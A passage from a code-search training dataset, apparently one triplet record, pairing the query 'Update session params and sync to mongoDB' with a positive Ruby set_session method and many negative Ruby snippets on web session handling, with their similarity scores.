"def session_id\n @session_id ||= (bytes = [SecureRandom.uuid.gsub(DASH_REGEX, '')].pack(UUID_PACK)\n BSON::Document.new(id: BSON::Binary.new(bytes, :uuid)))\n end",
"def load_session(env)\n sid = current_session_id(env)\n sid, session = get_session(env, sid)\n [sid, session || {}]\n end",
"def get_session\n return Seasar::Rack::Session.get_session(@env)\n end",
"def session\n @session ||= Session.new(@req)\n end",
"def session\n @session ||= Session.new(@req)\n end",
"def session\n @session ||= Session.new(@req)\n end",
"def login_from_session\n self.current_user = User.find_by_id( session[ :user_id ] ) if session[ :user_id ]\n end",
"def get_session( params )\n LastFM.get( \"auth.getSession\", params, :secure )\n end",
"def session_id_key\n @session_id_key\n end",
"def get_session\n @session = Session.find(@blocker.session_id)\n end",
"def session_id\n @session_id ||= \"#{chip_api.redis_session_prefix}_#{token.claims_token.api_id}\"\n end",
"def set_session\n @session = Session.find(params[:session_id])\n end",
"def get(session=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\t# The KS to be parsed, keep it empty to use current session.\n\t\t\tclient.add_param(kparams, 'session', session);\n\t\t\tclient.queue_service_action_call('session', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def session\n @req.session\n end",
"def fetch_user\n @current_user = User.find_by(:id => session[:user_id]) if session[:user_id]\n\n session[:user_id] = nil unless @current_user.present?\n end",
"def show\n begin\n if m = params[:id].match(/([^\\.]+)/)\n uid = m.captures.first\n else\n uid = params[:id]\n end\n sso_session = params[:session]\n\n # Check if session is valid\n @valid_session = (!uid.blank? && !sso_session.blank? && User.where(uid:uid,sso_session:sso_session).count > 0)\n\n # Build response\n response_hash = {\n valid: @valid_session,\n recheck: 3.minutes.from_now.utc\n }\n\n logger.info(\"INSPECT: session_hash => #{response_hash}\")\n\n render json: response_hash\n rescue Exception => e\n logger.error(e)\n raise e\n end\n end",
"def extract_session_id(env)\n request = Rack::Request.new(env)\n sid = request.cookies[@key]\n sid ||= request.params[@key] unless @cookie_only\n sid\n end",
"def session_id\n @driver.session_id\n end",
"def session_user\n decoded_hash = decoded_token\n if decoded_hash && !decoded_hash.empty?\n user_id = decoded_hash[0]['user_id']\n @user = User.find_by(id: user_id)\n else\n nil\n end\n end",
"def session_id\n request.session_options[:id]\n end",
"def get_session_id(name)\n sessions = parse_body get(\"#{admin_url}/sessions/summary\")\n current = sessions.find do |session|\n session[:name] == name\n end\n current&.dig(:id)\n end",
"def session_id; end",
"def session_id; end",
"def session_id; end",
"def current_user_session\n return @current_user_session if defined?(@current_user_session)\n @current_user_session = UserSession.find\n end",
"def current_user_session\n return @current_user_session if defined?(@current_user_session)\n @current_user_session = UserSession.find\n end",
"def current_user_session\n return @current_user_session if defined?(@current_user_session)\n @current_user_session = UserSession.find\n end",
"def user_from_session\n case RAILS_ENV\n when 'production'\n @user = User.find( :first, :conditions => {\n :screen_name => session[:screen_name],\n :token => session[:access_token]\n })\n when 'development'\n logger.debug 'session = '+session.inspect\n @user = User.find( :first, :conditions => {\n :screen_name => DEBUG_SCREEN_NAME\n })\n #nil\n end\n end",
"def get_session_id\n @agent.get( @root_url + '/dwr/engine.js') do |page|\n @session_id = extract_session_id(page.body)\n end\n end",
"def session\n @session ||= Session.new( req )\n end"
] |
[
"0.72872627",
"0.72659105",
"0.7157519",
"0.71179223",
"0.7100643",
"0.7100643",
"0.70402014",
"0.6895149",
"0.6894149",
"0.68487936",
"0.6806819",
"0.67743635",
"0.6764229",
"0.67397064",
"0.6694158",
"0.6694158",
"0.66931856",
"0.6691595",
"0.66478264",
"0.65959245",
"0.65893704",
"0.65779907",
"0.65635026",
"0.65445757",
"0.65439016",
"0.65163946",
"0.65143454",
"0.6505195",
"0.6500883",
"0.64619154",
"0.64598465",
"0.6387647",
"0.6377907",
"0.6310127",
"0.6310127",
"0.6310127",
"0.628354",
"0.62786907",
"0.62753487",
"0.62630236",
"0.625685",
"0.62306714",
"0.62090075",
"0.61974305",
"0.61974305",
"0.6136934",
"0.6135499",
"0.61231744",
"0.6059212",
"0.6036392",
"0.6028707",
"0.6019885",
"0.600428",
"0.6000141",
"0.5991201",
"0.5991201",
"0.5975121",
"0.5975121",
"0.5975121",
"0.5975121",
"0.5970989",
"0.59654427",
"0.59580255",
"0.59510565",
"0.59507334",
"0.59488606",
"0.59488606",
"0.59488606",
"0.59488606",
"0.59488606",
"0.5945693",
"0.5938286",
"0.5933392",
"0.59306026",
"0.59306026",
"0.59306026",
"0.59246284",
"0.5922446",
"0.5914583",
"0.5911075",
"0.5908175",
"0.5895348",
"0.5888148",
"0.5887337",
"0.5883245",
"0.5878658",
"0.58701247",
"0.5869475",
"0.58687717",
"0.58631504",
"0.58621645",
"0.58597887",
"0.58597887",
"0.58597887",
"0.58545744",
"0.58545744",
"0.58545744",
"0.5852789",
"0.585097",
"0.5847826"
] |
0.6782583
|
11
|
Update session params and sync to mongoDB.
|
def set_session( env, sid, new_session, options )
return _set_session( env, sid, new_session, options ) unless env['rack.multithread']
mutex.synchronize do
return _set_session( env, sid, new_session, options )
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n if @session\n @session.update_session(marshalize(@data))\n end\n end",
"def update!(**args)\n @session_info = args[:session_info] if args.key?(:session_info)\n end",
"def _set_session(env, sid, new_session, options)\n logger.debug \"Setting session #{new_session.inspect}\" \n ses_obj = sessions.find_one( { :_id => sid } )\n if ses_obj\n logger.debug \"Found existing session for -- #{sid.inspect}\"\n session = MongoRack::SessionHash.new( deserialize( ses_obj['data'] ) )\n else\n logger.debug \"Unable to find session for -- #{sid.inspect}\"\n session = MongoRack::SessionHash.new\n end\n \n if options[:renew] or options[:drop]\n sessions.remove( { :_id => sid } )\n return false if options[:drop]\n sid = generate_sid\n sessions.insert( {:_id => sid, :data => {} } )\n end\n old_session = new_session.instance_variable_get('@old') || MongoRack::SessionHash.new\n logger.debug \"Setting old session -- #{old_session.inspect}\" \n merged = merge_sessions( sid, old_session, new_session, session )\n\n expiry = options[:expire_after]\n expiry = expiry ? Time.now + options[:expire_after] : 0\n\n # BOZO ! Use upserts here if minor changes ?\n logger.debug \"Updating session -- #{merged.inspect}\" \n sessions.save( { :_id => sid, :data => serialize( merged ), :expire => expiry } )\n return sid\n rescue => boom \n logger.error \"#{self} Hoy! Something went wrong. Unable to persist session.\"\n logger.error $!.inspect\n boom.backtrace.each{ |l| logger.error l }\n return false\n end",
"def update\n return unless @session\n @session.data = @data\n @session.save\n end",
"def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @sessions = args[:sessions] if args.key?(:sessions)\n end",
"def update_session(data)\n connection = self.class.session_connection\n if @id\n # if @id is not nil, this is a session already stored in the database\n # update the relevant field using @id as key\n if SmartSession::SqlSession.locking_enabled?\n self.class.query(\"UPDATE #{SmartSession::SqlSession.table_name} SET `updated_at`=NOW(), `data`=#{self.class.quote(data)}, lock_version=lock_version+1 WHERE id=#{@id}\")\n @lock_version += 1 #if we are here then we hold a lock on the table - we know our version is up to date\n else\n self.class.query(\"UPDATE #{SmartSession::SqlSession.table_name} SET `updated_at`=NOW(), `data`=#{self.class.quote(data)} WHERE id=#{@id}\")\n end\n else\n # if @id is nil, we need to create a new session in the database\n # and set @id to the primary key of the inserted record\n self.class.query(\"INSERT INTO #{SmartSession::SqlSession.table_name} (`created_at`, `updated_at`, `session_id`, `data`) VALUES (NOW(), NOW(), '#{@session_id}', #{self.class.quote(data)})\")\n @id = connection.last_id\n @lock_version = 0\n end\n end",
"def update!(**args)\n @owner_email = args[:owner_email] if args.key?(:owner_email)\n @recording_session_id = args[:recording_session_id] if args.key?(:recording_session_id)\n @session_state_info = args[:session_state_info] if args.key?(:session_state_info)\n end",
"def save_session(session)\n \n end",
"def update!(**args)\n @session_state_info = args[:session_state_info] if args.key?(:session_state_info)\n @transcription_session_id = args[:transcription_session_id] if args.key?(:transcription_session_id)\n end",
"def params(args = {})\n args.merge({ session: connection.session })\n end",
"def save_session(params, session)\n\t\tsession[:zip] = params[:zip] if params[:zip]\n\t\tsession[:min_price] = params[:min_price].to_i if params[:min_price]\n\t\tsession[:max_price] = params[:max_price].to_i if params[:max_price]\n\t\tsession[:query] = params[:query].split(' ').join('+') if params[:query]\n\tend",
"def _session_update sid = \"\", uid = 0\n\t\tds = DB[:_sess].filter(:sid => sid, :uid => uid.to_i)\n\t\tds.update(:changed => Time.now) if ds.count > 0\n\tend",
"def update_session(data)\n update_attribute('data', data) \n end",
"def set_session\n \n end",
"def set_parameters_in_session\n [:start_date, :end_date, :persons].each do |parameter|\n session[parameter] = params[parameter]\n end\n end",
"def update\n java_session = @java_request.getSession(true)\n hash = @session_data.dup\n hash.delete_if do |k,v|\n if String === k\n case v\n when String, Numeric, true, false, nil\n java_session.setAttribute k, v\n true\n else\n if v.respond_to?(:java_object)\n java_session.setAttribute k, v\n true\n else\n false\n end\n end\n end\n end\n unless hash.empty?\n marshalled_string = Marshal.dump(hash)\n marshalled_bytes = marshalled_string.to_java_bytes\n java_session.setAttribute(RAILS_SESSION_KEY, marshalled_bytes)\n end\n end",
"def update\n\t\tself.log.debug \"Updating session data for key %s\" % @id\n\t\tyield( self.serialized_data )\n\t\t@modified = false\n\tend",
"def update_session_key\n @parameters['sessionKey'] = get_session_key\n end",
"def populate_session(aPlayer)\n\t\tsession[:email] = @player.email\n\t\tsession[:player_id] = @player.id \n\t\tsession[:admin] = @player.admin\n\t\tsession[:login_time] = Time.now.to_i \n\tend",
"def update\r\n @session = Session.find(params[:id])\r\n\r\n\r\n json = ActiveSupport::JSON.decode(request.raw_post)\r\n logger.debug json\r\n\r\n #@session.pla\r\n\r\n #json = ActiveSupport::JSON.decode(request.raw_post)\r\n #@session.state = json['state']\r\n\r\n respond_to do |format|\r\n if @session.save\r\n format.html { redirect_to(@session, :notice => 'Session was successfully updated.') }\r\n format.xml { head :ok }\r\n format.json { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @session.errors, :status => :unprocessable_entity }\r\n format.json { render :json => @session.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def save_params_to_session(params)\n\t\tsession[session_key] = {} if session[session_key].nil?\n\t\tsession[session_key][\"params\"] = params if !params.nil?\n\tend",
"def save_params_to_session(params)\n\t\tsession[session_key] = {} if session[session_key].nil?\n\t\tsession[session_key][\"params\"] = params if !params.nil?\n\tend",
"def save_params_to_session(params)\n\t\tsession[session_key] = {} if session[session_key].nil?\n\t\tsession[session_key][\"params\"] = params if !params.nil?\n\tend",
"def set_session # rubocop:disable Metrics/AbcSize\n session[:prospect_params] ||= {}.with_indifferent_access\n session[:prospect_params].deep_merge!(prospect_params)\n session[:prospect_params].keys.grep(/_attributes$/).each do |attr|\n session[:prospect_params][attr] = params[:prospect][attr] if params[:prospect][attr].present?\n end\n session[:prospect_params].each do |k, v|\n if v.is_a?(ActionController::Parameters)\n session[:prospect_params][k] = convert_attributes_param_to_safe_hash(k, v)\n end\n end\n end",
"def update!(**args)\n @session_info = args[:session_info] if args.key?(:session_info)\n @verification_code = args[:verification_code] if args.key?(:verification_code)\n end",
"def update #:nodoc:#\n Cachetastic::Caches::RailsSessionCache.set(@session_key, @session_data)\n end",
"def update!(**args)\n @phone_session_info = args[:phone_session_info] if args.key?(:phone_session_info)\n @totp_session_info = args[:totp_session_info] if args.key?(:totp_session_info)\n end",
"def save_to(session)\n attributes.each do |key, value|\n session[key] = value\n end\n self\n end",
"def update\n return if Settings.readonly \n\n respond_to do |format|\n if @session.update(session_params)\n format.html { redirect_to sessions_url, notice: 'Session was successfully updated.' }\n format.json { render :show, status: :ok, location: @session }\n else\n format.html { render :edit }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @device_index = args[:device_index] if args.key?(:device_index)\n @session = args[:session] if args.key?(:session)\n end",
"def setInputsInSession()\n session[:dayComboId] = params[\"conflict_checker\"][\"day_combinations_id\"]\n session[:timeRanges] = params[\"conflict_checker\"][\"time_ranges\"]\n session[:buildingId] = params[\"conflict_checker\"][\"buildings_id\"]\n end",
"def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @session_entity_types = args[:session_entity_types] if args.key?(:session_entity_types)\n end",
"def update!(**args)\n @zwieback_session_id = args[:zwieback_session_id] if args.key?(:zwieback_session_id)\n end",
"def update!(**args)\n @zwieback_session_id = args[:zwieback_session_id] if args.key?(:zwieback_session_id)\n end",
"def save_session()\n @store\n end",
"def update\n @session = Session.find(params[:id])\n authorize @session\n @session.update(session_params)\n redirect_to trainings_path\n end",
"def update_single_poll_session(poll_id,id,poll_sessions__course_id__,poll_sessions__course_section_id__,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :poll_sessions__course_id__,\n :poll_sessions__course_section_id__,\n :poll_sessions__has_public_results__,\n \n ]\n\n # verify existence of params\n raise \"poll_id is required\" if poll_id.nil?\n raise \"id is required\" if id.nil?\n raise \"poll_sessions__course_id__ is required\" if poll_sessions__course_id__.nil?\n raise \"poll_sessions__course_section_id__ is required\" if poll_sessions__course_section_id__.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :poll_id => poll_id,\n :id => id,\n :poll_sessions__course_id__ => poll_sessions__course_id__,\n :poll_sessions__course_section_id__ => poll_sessions__course_section_id__\n )\n\n # resource path\n path = path_replace(\"/v1/polls/{poll_id}/poll_sessions/{id}\",\n :poll_id => poll_id,\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:put, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:put, path, query_params, form_params, headers)\n page_params_store(:put, path)\n response\n \n end",
"def change_session_value\n if (params[:portfolio_id].present? && params[:property_id].present?)\n session[:portfolio__id] = \"\"\n session[:property__id] = params[:property_id]\n elsif( (session[:portfolio__id].present? && session[:property__id].blank?) )\n session[:portfolio__id] = session[:portfolio__id]\n session[:property__id] = \"\"\n else\n session[:portfolio__id] = \"\"\n session[:property__id] = session[:property__id]\n end\n end",
"def save_request\n session[:old_saved_params] = session[:saved_params] || {};\n saved_params = params.reject { |k, v| !(v.kind_of?(String) || v.kind_of?(Hash) || v.kind_of?(Array)) }\n saved_params.each { |key, val| saved_params[key] = val.reject { |k, v| !(v.kind_of?(String) || v.kind_of?(Hash) || v.kind_of?(Array)) } if val.kind_of?(Hash) }\n session[:saved_params] = saved_params\n end",
"def initialize_params_and_store_session\n session_hash = {}\n\n # Days since upadated date (default)\n if @updated_within == nil || @updated_within.to_i == 0 then\n @updated_within = Constants::DEFAULT_VALUE_UPDATED_WITHIN\n end\n session_hash[\"updated_within\"] = @updated_within\n \n # Days since closed date (default)\n if @done_within == nil || @done_within.to_i == 0 then\n @done_within = Constants::DEFAULT_VALUE_DONE_WITHIN\n end\n session_hash[\"done_within\"] = @done_within\n\n # Default user ID (= current user)\n if @user_id == nil || @user_id.to_i == 0 then\n @user_id = @current_user.id\n end\n session_hash[\"user_id\"] = @user_id\n \n # Project identifier\n @project_id = params[:project_id]\n if @project_id.blank? == true then\n @project = nil\n else\n @project = Project.find(@project_id)\n end\n \n # Get all group\n @all_groups = Group.where(type: \"Group\")\n\n # Create array of user ID belongs to group\n @user_id_array = []\n if @group_id == nil || @group_id.to_i == 0 then\n # Case no group selected\n @user_id_array << @user_id.to_i\n @group_id = \"all\"\n else\n # Case group selected\n @all_groups.each {|group|\n if group.id == @group_id.to_i\n @user_id_array = group.user_ids\n end\n }\n end\n session_hash[\"group_id\"] = @group_id\n\n # Case <unspecified> selected\n if @project_id.blank? == true then\n @project_all = \"1\"\n else\n if @project_all.blank? == true then\n @project_all = \"0\"\n end\n end\n session_hash[\"project_all\"] = @project_all\n\n # Array of status ID for display\n @status_fields_array = []\n if !@status_fields.blank? then\n @status_fields.each {|id,chk|\n if chk == \"1\"\n @status_fields_array << id.to_i\n end\n }\n else\n # Default\n @status_fields_array = Constants::DEFAULT_STATUS_FIELD_VALUE_ARRAY\n end\n session_hash[\"status_fields\"] = @status_fields\n\n # Max number of WIP issue (default)\n if @wip_max == nil || @wip_max.to_i == 0 then\n @wip_max = Constants::DEFAULT_VALUE_WIP_MAX\n end\n session_hash[\"wip_max\"] = @wip_max\n\n # Store session\n session[:kanban] = session_hash\n end",
"def post_params(path, params, session)\n post path, params, {\"rack.session\" => {\"uid\" => session['uid']}}\n end",
"def set_session\n session[:prospect_params] ||= {}.with_indifferent_access\n session[:prospect_params].deep_merge!(prospect_params)\n session[:prospect_params].keys.select { |a| a =~ /_attributes$/ }.each do |attr|\n session[:prospect_params][attr] = params[:prospect][attr] if params[:prospect][attr].present?\n end\n session[:prospect_params].each do |k, v|\n session[:prospect_params][k] = v.to_hash if v.is_a?(ActionController::Parameters)\n end\n end",
"def set_user_session\n @user_session = UserSession.find\n end",
"def save_user_request\n session[:old_saved_user_params] = session[:saved_user_params] || {};\n saved_params = params.reject { |k, v| !(v.kind_of?(String) || v.kind_of?(Hash) || v.kind_of?(Array)) }\n saved_params.each { |key, val| saved_params[key] = val.reject { |k, v| !(v.kind_of?(String) || v.kind_of?(Hash) || v.kind_of?(Array)) } if val.kind_of?(Hash) }\n session[:saved_user_params] = saved_params\n end",
"def update\n @bohconf_session = BohconfSession.find(params[:id])\n params[:bohconf_session][:starts_at] = params[:bohconf_session][:starts_at].to_time\n params[:bohconf_session][:ends_at] = params[:bohconf_session][:ends_at].to_time\n if @bohconf_session.update_attributes(session_params)\n redirect_to bohconf_path, notice: 'Session was successfully updated.'\n end\n end",
"def update!(**args)\n @broadcast_session_id = args[:broadcast_session_id] if args.key?(:broadcast_session_id)\n @broadcast_stats = args[:broadcast_stats] if args.key?(:broadcast_stats)\n @ingestion_id = args[:ingestion_id] if args.key?(:ingestion_id)\n @session_state_info = args[:session_state_info] if args.key?(:session_state_info)\n end",
"def update!(**args)\n @contextual_session_id = args[:contextual_session_id] if args.key?(:contextual_session_id)\n end",
"def mongo_fix_session_keys(session = {})\n new_session = Hash.new\n session.to_hash.each do |i, j|\n new_session[i.gsub(/\\./i, \"|\")] = j.inspect\n end unless session.empty?\n new_session\n end",
"def save_to_session\n\t\t\t\t\tresult = {}\n\t\t\t\t\t\n\t\t\t\t\tif !self.user_id.blank? && !self.role_ref.blank?\n\t\t\t\t\t\tresult[\"user_id\"] = self.user_id\n\t\t\t\t\t\tresult[\"role_ref\"] = self.role_ref\n\t\t\t\t\t\tresult[\"changed\"] = true\n\t\t\t\t\t\n\t\t\t\t\telsif !self.user_id.blank?\n\t\t\t\t\t\tresult[\"user_id\"] = self.user_id\n\t\t\t\t\t\tself.role_ref = self.user.role\n\t\t\t\t\t\tresult[\"role_ref\"] = self.role_ref\n\t\t\t\t\t\tresult[\"changed\"] = true\n\n\t\t\t\t\tend\n\n\t\t\t\t\treturn result\n\t\t\t\tend",
"def set_session\n @session = BatchConnect::Session.find(params[:id])\n end",
"def touch_auth_session\n if logged_in?\n auth_session.touch!\n end\n end",
"def update\n @current_session = CurrentSession.find(params[:id])\n\n if @current_session.update(params[:current_session])\n head :no_content\n else\n render json: @current_session.errors, status: :unprocessable_entity\n end\n end",
"def set_session\n @session = Session.find(params[:session_id])\n end",
"def persist\n prepare do\n unless updates.empty?\n collection.find(selector).update(updates)\n conflicts.each_pair do |key, value|\n collection.find(selector).update({ key => value })\n end\n end\n end\n end",
"def user_session_update sid = \"\", uid = 0\n\t\tds = Sdb[:user_sess].filter(:sid => sid, :uid => uid.to_i)\n\t\tds.update(:changed => Time.now) if ds.count > 0\n\tend",
"def setup\n session[:user_id]=1\n end",
"def update_session(parsed, session)\n session ||= Session.new\n session.id = parsed[parsed.keys.first][\"customerSessionId\"] if parsed[parsed.keys.first]\n end",
"def update\n return unless restrict_to_hosts\n\n respond_to do |format|\n if @session.update(session_params)\n format.html { redirect_to [@event, @session], notice: 'Session was successfully updated.' }\n format.json { render :show, status: :ok, location: [@event, @session] }\n else\n format.html { render :edit }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_params!(path, params, session)\n post_params(path, params, session)\n session.merge!(last_request.session)\n end",
"def set_index_session_params\n end",
"def update_user(username, params)\n\t\t\t\tif @session['datastore'].has_key?(username)\n\t\t\t\t\t@session['datastore'][username] = params\n\t\t\t\tend\n\t\t\tend",
"def update\n respond_to do |format|\n if @admin_session.update(session_params)\n format.html { redirect_to @admin_session, notice: 'Session was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_session }\n else\n format.html { render :edit }\n format.json { render json: @admin_session.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_session_info\n @session_info = SessionInfo.find(params[:id])\n end",
"def copy_session_variables!; end",
"def save_session\n\t\tsession[:todos] = @todos.all_todos.to_json\n\tend",
"def migrate_user_data\n if logged_in? && session.key?(:user_name)\n # Mocks the response from URS providing only the necessary keys to store the user data\n store_user_data('endpoint' => \"/api/users/#{session[:user_name]}\")\n\n # Remove this old value from the session\n session.delete(:user_name)\n end\n end",
"def swap_realm_ids()\n @conn = Mongo::Connection.new(DB_HOST)\n @db = @conn.db(SYSTEM_DB_NAME)\n @dbTenant = @conn.db(DB_NAME)\n realm_col = @db.collection('realm')\n user_sessions = @db.collection('userSession')\n custom_roles = @dbTenant.collection('customRole')\n to_swap = [\n {\"unique_realm_id\" => \"Shared Learning Collaborative\", \"placeholder\" => \"ADMIN_REALM_ID_PLACEHOLDER\"},\n {\"unique_realm_id\" => \"Shared Learning Collaborative\", \"placeholder\" => \"SANDBOX_REALM_ID_PLACEHOLDER\"},\n ]\n\n to_swap.each do |realm|\n realm_ent = realm_col.find_one({\"body.uniqueIdentifier\" => realm['unique_realm_id']})\n\n if realm_ent\n puts \"Swapping realm ID for #{realm['unique_realm_id']}\"\n realm_id = realm_ent['_id']\n update_count = 0\n user_sessions.find({\"body.principal.realm\" => realm['placeholder']}).each do |row|\n user_sessions.update({\"_id\" => row[\"_id\"]}, {\"$set\" => {\"body.principal.realm\" => realm_id}})\n update_count = update_count + 1\n end\n puts \"\\tUpdated #{update_count} user sessions\"\n\n update_count = 0\n custom_roles.find({\"body.realmId\" => realm['placeholder']}).each do |row|\n custom_roles.update({\"_id\" => row[\"_id\"]}, {\"$set\" => {\"body.realmId\" => realm_id}})\n update_count = update_count + 1\n end\n puts \"\\tUpdated #{update_count} custom roles.\"\n\n else\n puts \"Skipping realm ID swap for #{realm['unique_realm_id']}\"\n end\n end\nend",
"def expose_session_to_models\n $_SESSION = session\n end",
"def maintain_session_and_user\n if session[:id]\n if @application_session = Session.find_by_id(session[:id])\n @application_session.update_attributes(:ip_address => request.remote_addr, :path => request.path_info)\n @user = @application_session.person\n else\n flash[:notice] = \"Excuse me, but your session data appears to be outdated. Do you mind logging in again?\"\n session[:id] = nil\n redirect_to(root_url) #If he has an incorrect session id, send to root\n end\n end\n end",
"def session; @session; end",
"def session; @session; end",
"def session; @session; end",
"def save()\n person_session = PersonSession.new({\n 'date_time_added' => @date_time_added,\n 'reserve' => @reserve.to_s,\n 'person_id' => @person.id,\n 'session_id' => @session.id\n })\n person_session.save()\n end",
"def init_variables_from_sessions\n session[:room_type_channel_mapping_params].deep_merge!(params[:room_type_channel_mapping]) if params[:room_type_channel_mapping]\n session[:room_type_master_rate_channel_mapping_params].deep_merge!(params[:room_type_master_rate_channel_mapping]) if params[:room_type_master_rate_channel_mapping]\n\n @room_type_channel_mapping = RoomTypeChannelMapping.new(session[:room_type_channel_mapping_params])\n @channel = Channel.find(@room_type_channel_mapping.channel_id)\n @room_type = RoomType.find(@room_type_channel_mapping.room_type_id)\n\n @room_type_master_rate_channel_mapping = RoomTypeMasterRateChannelMapping.new(session[:room_type_master_rate_channel_mapping_params])\n @room_type_master_rate_channel_mapping.channel = @channel\n @room_type_master_rate_channel_mapping.room_type = @room_type\n end",
"def update\n @session = MovieSession.find(params[:id])\n event = Event.find(@session.event_id)\n @session.attributes = params[:movie_session]\n runningtime = @session.selection.running_time ? @session.selection.running_time : 120\n @session.end_at = @session.start + runningtime.minutes\n\n if @session.save\n redirect_to(@session, :notice => 'Session was successfully updated.')\n else\n render :action => \"edit\"\n end\n\n end",
"def session_params\n params.require(:session).permit(:date, :duration, :room_id)\n end",
"def set_session(env, sid, new_session, options)\n# if options[:drop]\n# @sessions[sid] = nil\n# return false\n# end\n @sessions[sid] = new_session\n\n # Commit the repository, including session data.\n Maglev.commit_transaction\n return sid\n end",
"def session\n @session ||= options[:session] || {} \n end",
"def update!(**args)\n @finalize_enrollment_time = args[:finalize_enrollment_time] if args.key?(:finalize_enrollment_time)\n @hashing_algorithm = args[:hashing_algorithm] if args.key?(:hashing_algorithm)\n @period_sec = args[:period_sec] if args.key?(:period_sec)\n @session_info = args[:session_info] if args.key?(:session_info)\n @shared_secret_key = args[:shared_secret_key] if args.key?(:shared_secret_key)\n @verification_code_length = args[:verification_code_length] if args.key?(:verification_code_length)\n end",
"def session_params\r\n params.fetch(:session, {})\r\n end",
"def initialize_session(params_hash)\n raise_error_unless_params_is_a_hash(params_hash)\n raise_error_if_params_are_empty(params_hash)\n request.method = :post\n request.uri = '_session'\n Couchdbtools.execute(request)\n end",
"def session_params\n p = params.require(:session).permit(:title, :owner, :twitter_handle, :time_slot_id, :meeting_space_id)\n p[:twitter_handle] = p[:twitter_handle].gsub '@','' if p[:twitter_handle]\n p\n end",
"def session=(*args)\n if current_subdomain\n request.session[current_subdomain_symbol] ||= {}\n request.session[current_subdomain_symbol] = args\n else\n request.session = args\n end\n end",
"def set_session\n @session = session[:user_id]\n end",
"def refresh_session\n self.update_attributes(session_expires_in: 30.days.from_now)\n end",
"def update_session\n auth = Knock::AuthToken.new(payload: to_token_payload)\n auth.token\n end",
"def session_options=(_arg0); end",
"def session_options=(_arg0); end",
"def update!(**args)\n @application_type = args[:application_type] if args.key?(:application_type)\n @latest_session_event = args[:latest_session_event] if args.key?(:latest_session_event)\n @owner_display_name = args[:owner_display_name] if args.key?(:owner_display_name)\n @session_id = args[:session_id] if args.key?(:session_id)\n @status = args[:status] if args.key?(:status)\n @training_enabled = args[:training_enabled] if args.key?(:training_enabled)\n @viewer_access_policy = args[:viewer_access_policy] if args.key?(:viewer_access_policy)\n @viewer_stats = args[:viewer_stats] if args.key?(:viewer_stats)\n end",
"def set_session\n @session = FitnessSession.find(params[:id])\n end",
"def session=(_arg0); end",
"def set_session\n\t #no idea why I need this, but login form seems to break otherwise\n\t session[:email] = session[:email]\n\t session[:password] = session[:password]\n\t end",
"def prepare_session(env)\n session_was = env[ENV_SESSION_KEY]\n env[ENV_SESSION_KEY] = SessionHash.new(self, env)\n env[ENV_SESSION_OPTIONS_KEY] = OptionsHash.new(self, env, @default_options)\n env[ENV_SESSION_KEY].merge! session_was if session_was\n end",
"def save_session\n active_session = self.active_session\n if(active_session)\n active_session.save\n end\n active_session\n end",
"def update(params)\n @number = params[:number].to_i\n @first_name = params[:first_name]\n @last_name = params[:last_name]\n @gender = params[:gender]\n @group = params[:group]\n @secs = params[:secs].to_i\n\n params.slice!(:number, :first_name, :last_name, :gender, :group, :secs)\n # self.class.collection.find(:_id => @id).update_one(params) #THIS SHOULD WORK FIND() NEEDS IMPROVEMENT\n # self.class.collection.find(:_id => BSON::ObjectId.from_string(@id)).replace_one(params)\n self.class.collection.find(:_id => BSON::ObjectId.from_string(@id)).update_one(params)\n end",
"def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @oauth_idp_configs = args[:oauth_idp_configs] if args.key?(:oauth_idp_configs)\n end",
"def update(params)\n @number=params[:number].to_i\n @first_name=params[:first_name]\n @last_name=params[:last_name]\n @secs=params[:secs].to_i\n @gender=params[:gender]\n @group=params[:group]\n\n params.slice!(:number, :first_name, :last_name, :gender, :group, :secs)\n \n self.class.collection.find(:_id=>BSON::ObjectId.from_string(@id)).replace_one(params)\n end",
"def update_copy_session\n @user = current_user\n session[:copy_flag] = true\n end",
"def get_local_settings(app_settings)\n app_settings[\"session\"][:host_server] = @host_server\n app_settings[\"session\"][:port_server] = @port_server\n #if @login_name == @curr_user_name \n app_settings[\"session\"][:login_name] = @login_name# @curr_user_name\n #end \n app_settings[\"session\"][:password_login] = @password_login_md5 if @password_saved\n app_settings[\"session\"][:connect_type] = @serv_conn_type\n app_settings[\"web_http\"] = @server_type_http \n app_settings[\"session\"][:remote_web_srv_url] = @remote_web_url\n app_settings[\"session\"][:password_saved] = @password_saved \n end",
"def update\n respond_to do |format|\n if @session_replica.update(session_replica_params)\n format.html { redirect_to @session_replica}\n format.json { render :show, status: :ok, location: @session_replica }\n else\n format.html { render :edit }\n format.json { render json: @session_replica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @session\n respond_to do |format|\n if @session.update(session_params)\n format.html { redirect_to @session, notice: 'Session was successfully updated.' }\n format.json { render :show, status: :ok, location: @session }\n else\n format.html { render :edit }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6666415",
"0.63413286",
"0.6267413",
"0.6248333",
"0.61030054",
"0.6085092",
"0.60247654",
"0.59672946",
"0.5959882",
"0.5911531",
"0.58766234",
"0.5813328",
"0.57611984",
"0.57220805",
"0.5712111",
"0.57028687",
"0.5696298",
"0.5675262",
"0.56745166",
"0.5645979",
"0.56453145",
"0.56453145",
"0.56453145",
"0.56358564",
"0.56339496",
"0.5632766",
"0.561371",
"0.5596511",
"0.55565953",
"0.5543121",
"0.5511178",
"0.55044824",
"0.5501184",
"0.5501184",
"0.5489904",
